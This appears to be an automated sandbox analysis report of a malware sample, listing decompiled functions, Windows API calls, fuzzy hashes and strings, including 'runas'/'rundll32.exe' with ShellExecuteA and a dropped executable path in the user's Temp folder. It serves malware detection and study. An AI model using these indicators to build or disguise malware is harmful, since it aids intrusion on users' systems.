Instruction ID: 2a24dca367571b9b11d253c7c0827ad25737b88deab74899620797e2b45a5201
Opcode Fuzzy Hash: 7567cf7be4e3f0b54ca404668debd50db6737ef08af4b819c84c3c849ea1c1f4
Instruction Fuzzy Hash: FCF08230A08358FBEB21AB90DD0ABDEBA68EF40765F000090F800A11A0CB708E55FE90

Uniqueness

Uniqueness Score: -1.00%

Function 00F1E774, Relevance: 7.9, APIs: 5, Instructions: 373timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00F1E7F6
_free.LIBCMT ref: 00F1E81A
_free.LIBCMT ref: 00F1E9A7
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00F2B608), ref: 00F1E9B9
_free.LIBCMT ref: 00F1EB73

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$InformationTimeZone
String ID:
API String ID: 597776487-0
Opcode ID: 455158028eec0a0dda9f1a5341edebcb33696c51bfbd6c875ae658f1ec1f8263
Instruction ID: f2f82db751405eddc8c1c667687e9220f8e89be49ff21b34b833701b0745aeda
Opcode Fuzzy Hash: 455158028eec0a0dda9f1a5341edebcb33696c51bfbd6c875ae658f1ec1f8263
Instruction Fuzzy Hash: E0C10772E002099BDB249F68DC51BEA7BA9AF56330F144069EC91D7281E7399DC1F750

Uniqueness

Uniqueness Score: -1.00%

Function 00F04010, Relevance: 7.7, APIs: 5, Instructions: 235libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C), ref: 00F04066
GetModuleHandleA.KERNEL32(00000000,00000000), ref: 00F040C0
GetProcAddress.KERNEL32(00000000), ref: 00F040C7

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProcVersion
String ID:
API String ID: 3310240892-0
Opcode ID: 422bd93b7d7ba0a1b1abeaefd6b8b21443b6aa7ea962f21272e41fd5714f0cc0
Instruction ID: 347e4abb2f91027506e58c245e54fd4810330896cfd7daffc8b78f881daaa0d5
Opcode Fuzzy Hash: 422bd93b7d7ba0a1b1abeaefd6b8b21443b6aa7ea962f21272e41fd5714f0cc0
Instruction Fuzzy Hash: 4C7106B1E092089BEB20DB68EC453ADB7A5EB45324F50029AED04D76D1EB75ADC0B7C1

Uniqueness

Uniqueness Score: -1.00%

Function 00F12943, Relevance: 7.6, APIs: 5, Instructions: 141pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00F12875), ref: 00F12965
GetFileInformationByHandle.KERNEL32(?,?), ref: 00F129BF
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00F12875,?,000000FF,00000000,00000000), ref: 00F12A4D
__dosmaperr.LIBCMT ref: 00F12A54
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 00F12A91

Part of subcall function 00F12CB9: __dosmaperr.LIBCMT ref: 00F12CEE

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: File__dosmaperr$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 1206951868-0
Opcode ID: 3d988c6843b6922ce9369c9aa99c8ad66b5ff18b42cc6d77d1c914ceba6ca856
Instruction ID: a412e5c5be4cf041d42b0657d6fb27dcfd88fac7031a23fa66aea2aa1c3ce5ff
Opcode Fuzzy Hash: 3d988c6843b6922ce9369c9aa99c8ad66b5ff18b42cc6d77d1c914ceba6ca856
Instruction Fuzzy Hash: 29416A71900248AFCB64DFA5DC459EFBBF9EF88310B004529F856D3210EA38A991EB60

Uniqueness

Uniqueness Score: -1.00%

Function 00F1C807, Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00F1C81F

Part of subcall function 00F16601: HeapFree.KERNEL32(00000000,00000000,?,00F156FE), ref: 00F16617
Part of subcall function 00F16601: GetLastError.KERNEL32(?,?,00F156FE), ref: 00F16629

_free.LIBCMT ref: 00F1C831
_free.LIBCMT ref: 00F1C843
_free.LIBCMT ref: 00F1C855
_free.LIBCMT ref: 00F1C867

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: fd3da74598354c4db74373f5f4a704a7e3771cda13ae06719dd9ef601b5969f9
Instruction ID: 2cd6093a0d76ddfb56a819604a7b1fd39b4a16780cca96ed1ed2727ba869d77a
Opcode Fuzzy Hash: fd3da74598354c4db74373f5f4a704a7e3771cda13ae06719dd9ef601b5969f9
Instruction Fuzzy Hash: 8EF03632954214E7C620EB99E9C5C96B3DEAB04730754081AF049DB511CF36FCC0AAE4

Uniqueness

Uniqueness Score: -1.00%

Function 00F1AED3, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00F1B06D

Strings

*?, xrefs: 00F1AF16

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 6fdf12bd1c53e25703f060ec6a84bb1bceeb49536af37bdc1a4211a2d5ee5eb1
Instruction ID: 9df18ecc0cea98f3ffc86d4444923fe833f34cd032c62c8eda1bc48c41e2e497
Opcode Fuzzy Hash: 6fdf12bd1c53e25703f060ec6a84bb1bceeb49536af37bdc1a4211a2d5ee5eb1
Instruction Fuzzy Hash: 03611DB6D00219DFDB14CFA8C8819EEFBF5EF48320B258169E855E7340D775AE819B90

Uniqueness

Uniqueness Score: -1.00%

Function 00F0AFF0, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 113COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00F0BFE4

Strings

:::, xrefs: 00F09729, 00F0979D
stoi argument out of range, xrefs: 00F096EA, 00F0AE2F, 00F0C05A
invalid stoi argument, xrefs: 00F096B8, 00F096E0, 00F0ADFD, 00F0AE25, 00F0BFDF

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: Xinvalid_argumentstd::_
String ID: :::$invalid stoi argument$stoi argument out of range
API String ID: 909987262-1139504419
Opcode ID: 7adf3bb9fa27d8cc1718d4e05a2d04bb61ea5fcb3fcbdc3d9133f69266e13877
Instruction ID: 4beaf551f9e128f86657e8e000aad1610c4b605748724f9c72d5216b409633ec
Opcode Fuzzy Hash: 7adf3bb9fa27d8cc1718d4e05a2d04bb61ea5fcb3fcbdc3d9133f69266e13877
Instruction Fuzzy Hash: A841B2712011465BEF28AF68CC9579D7A659F81344F104628F8298B2D3CB7995C4BF91

Uniqueness

Uniqueness Score: -1.00%

Function 00F1980A, Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00F19891

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 9c1b9633bf2ebb0c38044de2cea86c35c0b20e39aea4a82805dce46aa4bcbc2e
Instruction ID: f06492807b474b32c7e02576c6d80f73d4a240b33c2889c9e61364205b6c53db
Opcode Fuzzy Hash: 9c1b9633bf2ebb0c38044de2cea86c35c0b20e39aea4a82805dce46aa4bcbc2e
Instruction Fuzzy Hash: 8EB17A32D082459FDB11CF28C8A17EEBBF5EF55320F18416AD845DB241D6B89E81EBE0

Uniqueness

Uniqueness Score: -1.00%

Function 00F042C0, Relevance: 6.1, APIs: 4, Instructions: 146libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,?,?,00000000), ref: 00F04316
GetModuleHandleA.KERNEL32(00000000,00000000), ref: 00F04375
GetProcAddress.KERNEL32(00000000), ref: 00F0437C

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProcVersion
String ID:
API String ID: 3310240892-0
Opcode ID: a0b66cf4b52a737756775518e95d96bf65e7da6653e8e3a99e10767652fdab3c
Instruction ID: 4969dc2fc96d20be2d90289c58f0b7e523270f4117ffb450619f2c5173ac89ce
Opcode Fuzzy Hash: a0b66cf4b52a737756775518e95d96bf65e7da6653e8e3a99e10767652fdab3c
Instruction Fuzzy Hash: 924148B1E002189BDB24FB68DC4A7DEB775EF41320F5042A8ED00972D1EB356984BBD2

Uniqueness

Uniqueness Score: -1.00%

Function 00F2166E, Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00F2173E
_free.LIBCMT ref: 00F21767
SetEndOfFile.KERNEL32(00000000,00F1DB46,00000000,00F1649E,?,?,?,?,?,?,?,00F1DB46,00F1649E,00000000), ref: 00F21799
GetLastError.KERNEL32(?,?,?,?,?,?,?,00F1DB46,00F1649E,00000000,?,?,?,?,00000000), ref: 00F217B5

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: 2514977b5b3b4c72c1492fc0170f91d924586d8bfeb94dc7b91167dae898deb0
Instruction ID: 837f82011660e9884bd2528ac5cf90f25e01a264b70484aa3ea4e24e480728bc
Opcode Fuzzy Hash: 2514977b5b3b4c72c1492fc0170f91d924586d8bfeb94dc7b91167dae898deb0
Instruction Fuzzy Hash: 3841D732900655ABDB11ABB8DC46BDE3BB5BFA4330F240110F824E7191EB39D994B764

Uniqueness

Uniqueness Score: -1.00%

Function 00F1AE04, Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 00F12687: _free.LIBCMT ref: 00F12695

Part of subcall function 00F1BDDB: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,00000000,?,00F211E0,?,00000000,00000000), ref: 00F1BE7D

GetLastError.KERNEL32 ref: 00F1AE6C
__dosmaperr.LIBCMT ref: 00F1AE73
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 00F1AEB2
__dosmaperr.LIBCMT ref: 00F1AEB9

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 22ada1aa5a0999565f4649fd41049d2d4cddfa1566cacb94def0732eeda885c4
Instruction ID: cad325dfa9373cb83fa16a2491aa60d3d49cbbafe831e4a1914e4e3359733772
Opcode Fuzzy Hash: 22ada1aa5a0999565f4649fd41049d2d4cddfa1566cacb94def0732eeda885c4
Instruction Fuzzy Hash: F921C272A01309BF9B21AFA78C819EBB7ADEF003787104519F928D7144E735EDD0A7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00F1B498, Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b249d12fc9b59e0ec041497314165488f495b78b51f7e95c6f71cf05210d6a2b
Instruction ID: 7d82eda4c1d2f9b2145a68edad359a1b82073b1c045a23cf7fe64ddde1787f9f
Opcode Fuzzy Hash: b249d12fc9b59e0ec041497314165488f495b78b51f7e95c6f71cf05210d6a2b
Instruction Fuzzy Hash: E521A172A08209FF9B20AF658C85DEB77ADEF003787144514FA29D7151EB35ED81BBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F16EF2, Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00F12605,?,?,?,?,00F13272,?), ref: 00F16EF7
_free.LIBCMT ref: 00F16F54
_free.LIBCMT ref: 00F16F8A
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,00F12605,?,?,?,?,00F13272,?), ref: 00F16F95

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 7a0253932c7815c0f012a87fd0e35736ff94924f5d925a06b59987dd216ac756
Instruction ID: fbc3b81c249f586fd5d26969c878f220d529b5f66cb2bc7c76760e45cfaa9bb6
Opcode Fuzzy Hash: 7a0253932c7815c0f012a87fd0e35736ff94924f5d925a06b59987dd216ac756
Instruction Fuzzy Hash: 0A11C67260C205ABD71177757C85EEB3A5A8BC07757250229F62CC62E1FE258CDB7210

Uniqueness

Uniqueness Score: -1.00%

Function 00F17049, Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00F1320C,00F16627,?,?,00F156FE), ref: 00F1704E
_free.LIBCMT ref: 00F170AB
_free.LIBCMT ref: 00F170E1
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,00F1320C,00F16627,?,?,00F156FE), ref: 00F170EC

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 75ecd0e05c8c8f15c0a2a4247546566e2b48f2485ab2be3f1640049cdaf31be2
Instruction ID: 71d1a29843dac46cd3a38c7c99aa5dcca4fdac1b956931c90aeebee076cd5abe
Opcode Fuzzy Hash: 75ecd0e05c8c8f15c0a2a4247546566e2b48f2485ab2be3f1640049cdaf31be2
Instruction Fuzzy Hash: AD11E57260C705ABD7117674ACC2EEB367A9BC83757210225F62C822D1EF258CD67220

Uniqueness

Uniqueness Score: -1.00%

Function 00F177A5, Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,?,00000000,00F178A1,00000000,?,00F1E193,?,?,00F178A1,?,?,?,?,00000001), ref: 00F177BB
GetLastError.KERNEL32(?,00F1E193,?,?,00F178A1,?,?,?,?,00000001,00000000,00000000,?,00F178A1,?,?), ref: 00F177C5
__dosmaperr.LIBCMT ref: 00F177CC

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: b5e26b93963eee0902eb0db62cb1cbccfbe6cd04405e8d9d45614a647aa83a47
Instruction ID: b1195fb6bba9c273b83a62ce72be919a63a845e7481c440826c64826e1aed9f2
Opcode Fuzzy Hash: b5e26b93963eee0902eb0db62cb1cbccfbe6cd04405e8d9d45614a647aa83a47
Instruction Fuzzy Hash: 2BF04B32608215BB8B217FB6DC08D9ABF79FF453B07208510F51D86560CB32E8A1EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F1773C, Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,?,00000000,00F178A1,00000000,?,00F1E208,?,?,?,?,?,?,00000001,00000000), ref: 00F17752
GetLastError.KERNEL32(?,00F1E208,?,?,?,?,?,?,00000001,00000000,00000000,?,00F178A1,?,?), ref: 00F1775C
__dosmaperr.LIBCMT ref: 00F17763

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: b1f3c89f9d0ca5a2bf6742eacd4dc8865ecae45cbe5ef06cda437673dcc4694e
Instruction ID: 2db6ffe6c7fe5a4a58431b482a3637f7671725675646eed5fb581dd0ad849c30
Opcode Fuzzy Hash: b1f3c89f9d0ca5a2bf6742eacd4dc8865ecae45cbe5ef06cda437673dcc4694e
Instruction Fuzzy Hash: 95F0FB32609216BB8B207BB6DC0899ABF79FF453B07108511F52D96560D731E8A1EBD0

Uniqueness

Uniqueness Score: -1.00%

Function 00F21B95, Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00F03D80,?,00F2E0A8,00000000,00F03D80,?,00F1EFD2,00F03D80,00000001,00F03D80,00F03D80,?,00F1882C,00000000,?,00F03D80), ref: 00F21BAC
GetLastError.KERNEL32(?,00F1EFD2,00F03D80,00000001,00F03D80,00F03D80,?,00F1882C,00000000,?,00F03D80,00000000,00F03D80,?,00F18D80,00F03D80), ref: 00F21BB8

Part of subcall function 00F21B7E: CloseHandle.KERNEL32(FFFFFFFE,00F21BC8,?,00F1EFD2,00F03D80,00000001,00F03D80,00F03D80,?,00F1882C,00000000,?,00F03D80,00000000,00F03D80), ref: 00F21B8E

___initconout.LIBCMT ref: 00F21BC8

Part of subcall function 00F21B40: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00F21B6F,00F1EFBF,00F03D80,?,00F1882C,00000000,?,00F03D80,00000000), ref: 00F21B53

WriteConsoleW.KERNEL32(00F03D80,?,00F2E0A8,00000000,?,00F1EFD2,00F03D80,00000001,00F03D80,00F03D80,?,00F1882C,00000000,?,00F03D80,00000000), ref: 00F21BDD

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: bcafcfe3536e5d19c30d5c9269947817e6fa0653b0f63901cce9ac55b2fb35ac
Instruction ID: b0f330bd3d13ba08fd77deda26e8b574b37ba8da889718a169e0bf06981a11df
Opcode Fuzzy Hash: bcafcfe3536e5d19c30d5c9269947817e6fa0653b0f63901cce9ac55b2fb35ac
Instruction Fuzzy Hash: 77F01C36505229BBCF226FE2EC14E8A3F26FF987B0F014050FA1885130DB328820FB94

Uniqueness

Uniqueness Score: -1.00%

Function 00F1583C, Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00F15845

Part of subcall function 00F16601: HeapFree.KERNEL32(00000000,00000000,?,00F156FE), ref: 00F16617
Part of subcall function 00F16601: GetLastError.KERNEL32(?,?,00F156FE), ref: 00F16629

_free.LIBCMT ref: 00F15858
_free.LIBCMT ref: 00F15869
_free.LIBCMT ref: 00F1587A

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 6cdacf593c9e825c689ffcca501c4d65407dfd4d558aee993ecfd33290bc44ea
Instruction ID: 8a93628a6cb096e39ea4c590f277982fbd1f95808c69640f0f1c2fa8ed6a9fa2
Opcode Fuzzy Hash: 6cdacf593c9e825c689ffcca501c4d65407dfd4d558aee993ecfd33290bc44ea
Instruction Fuzzy Hash: FDE0EC79824128DA8B026F65BC85489FFF3F74AB313014816F4509A231CB3B05A2BF8D

Uniqueness

Uniqueness Score: -1.00%

Function 00F02A20, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 154COMMON

Download Yara Rule

APIs

ShellExecuteA.SHELL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00F02A8D

Strings

runas, xrefs: 00F02A4F
rundll32.exe, xrefs: 00F02C7C

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: ExecuteShell
String ID: runas$rundll32.exe
API String ID: 587946157-4081450877
Opcode ID: eb0ad7be44a60552e57adf872328cd1813911998f7bee301e0548c99bf98e6ff
Instruction ID: 37e961ca84bacbebc5ce77b3aaed976bf9e4a7f418ef0efbc8eb70afd4b6200c
Opcode Fuzzy Hash: eb0ad7be44a60552e57adf872328cd1813911998f7bee301e0548c99bf98e6ff
Instruction Fuzzy Hash: 4A51B270600209ABEF14DF68CC85BDE7B65EF45304F908518F8155B2C2D779DA85EBE1

Uniqueness

Uniqueness Score: -1.00%

Function 00F14EEE, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00F1B55F: GetModuleFileNameW.KERNEL32(?,?,00000105), ref: 00F1B584
Part of subcall function 00F1B55F: GetLastError.KERNEL32 ref: 00F1B58E
Part of subcall function 00F1B55F: __dosmaperr.LIBCMT ref: 00F1B595

_free.LIBCMT ref: 00F14FCA
_free.LIBCMT ref: 00F14FD4

Strings

C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe, xrefs: 00F14EEE, 00F14F2B

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFileLastModuleName__dosmaperr
String ID: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe
API String ID: 136706947-4023108300
Opcode ID: e685621083d884a569628316289cace421c4e49d6ae33db1d2edf216ad307ef7
Instruction ID: 32c844e18dd88b649419c8e1b998ca38c007bda823851c8a164c54b1df07b899
Opcode Fuzzy Hash: e685621083d884a569628316289cace421c4e49d6ae33db1d2edf216ad307ef7
Instruction Fuzzy Hash: F2312971E00219EFDB11DF99DC819EEBBF9FBC5320B2400AAE404E7311D771AA81AB50

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 1sb1iwyem7.exe PID: 5384 Parent PID: 6908 1sb1iwyem7.exeCOMMON

Executed Functions

Function 00406024, Relevance: 193.6, APIs: 70, Strings: 40, Instructions: 1139
windowCOMMONCrypto

Download Yara Rule

C-Code - Quality: 82%

			E00406024(void* __edx) {
				void* __edi;
				void* __esi;
				signed int _t218;
				short* _t237;
				void* _t238;
				signed int _t239;
				signed int _t240;
				signed int _t243;
				signed int _t248;
				signed int _t251;
				signed int _t255;
				signed int _t256;
				signed int _t262;
				signed int _t272;
				signed int _t274;
				signed int _t276;
				signed int _t278;
				signed int _t281;
				signed short _t283;
				intOrPtr _t287;
				signed short* _t289;
				signed int _t292;
				signed int _t293;
				void* _t294;
				short* _t299;
				long _t315;
				signed int _t322;
				signed short* _t328;
				signed int _t336;
				signed int _t338;
				signed int _t339;
				signed int _t340;
				signed int _t346;
				signed int _t348;
				signed int _t350;
				signed int _t358;
				signed int _t360;
				signed int _t367;
				signed int _t383;
				short _t400;
				signed short* _t401;
				signed int _t402;
				intOrPtr _t406;
				intOrPtr _t409;
				signed int _t412;
				intOrPtr _t416;
				signed int _t419;
				signed int _t420;
				signed int _t421;
				signed int _t425;
				signed int _t429;
				signed int _t430;
				signed short _t431;
				signed int _t434;
				signed int _t436;
				signed int _t437;
				signed int _t438;
				signed int _t439;
				signed short _t445;
				void* _t446;
				void* _t452;
				signed int _t455;
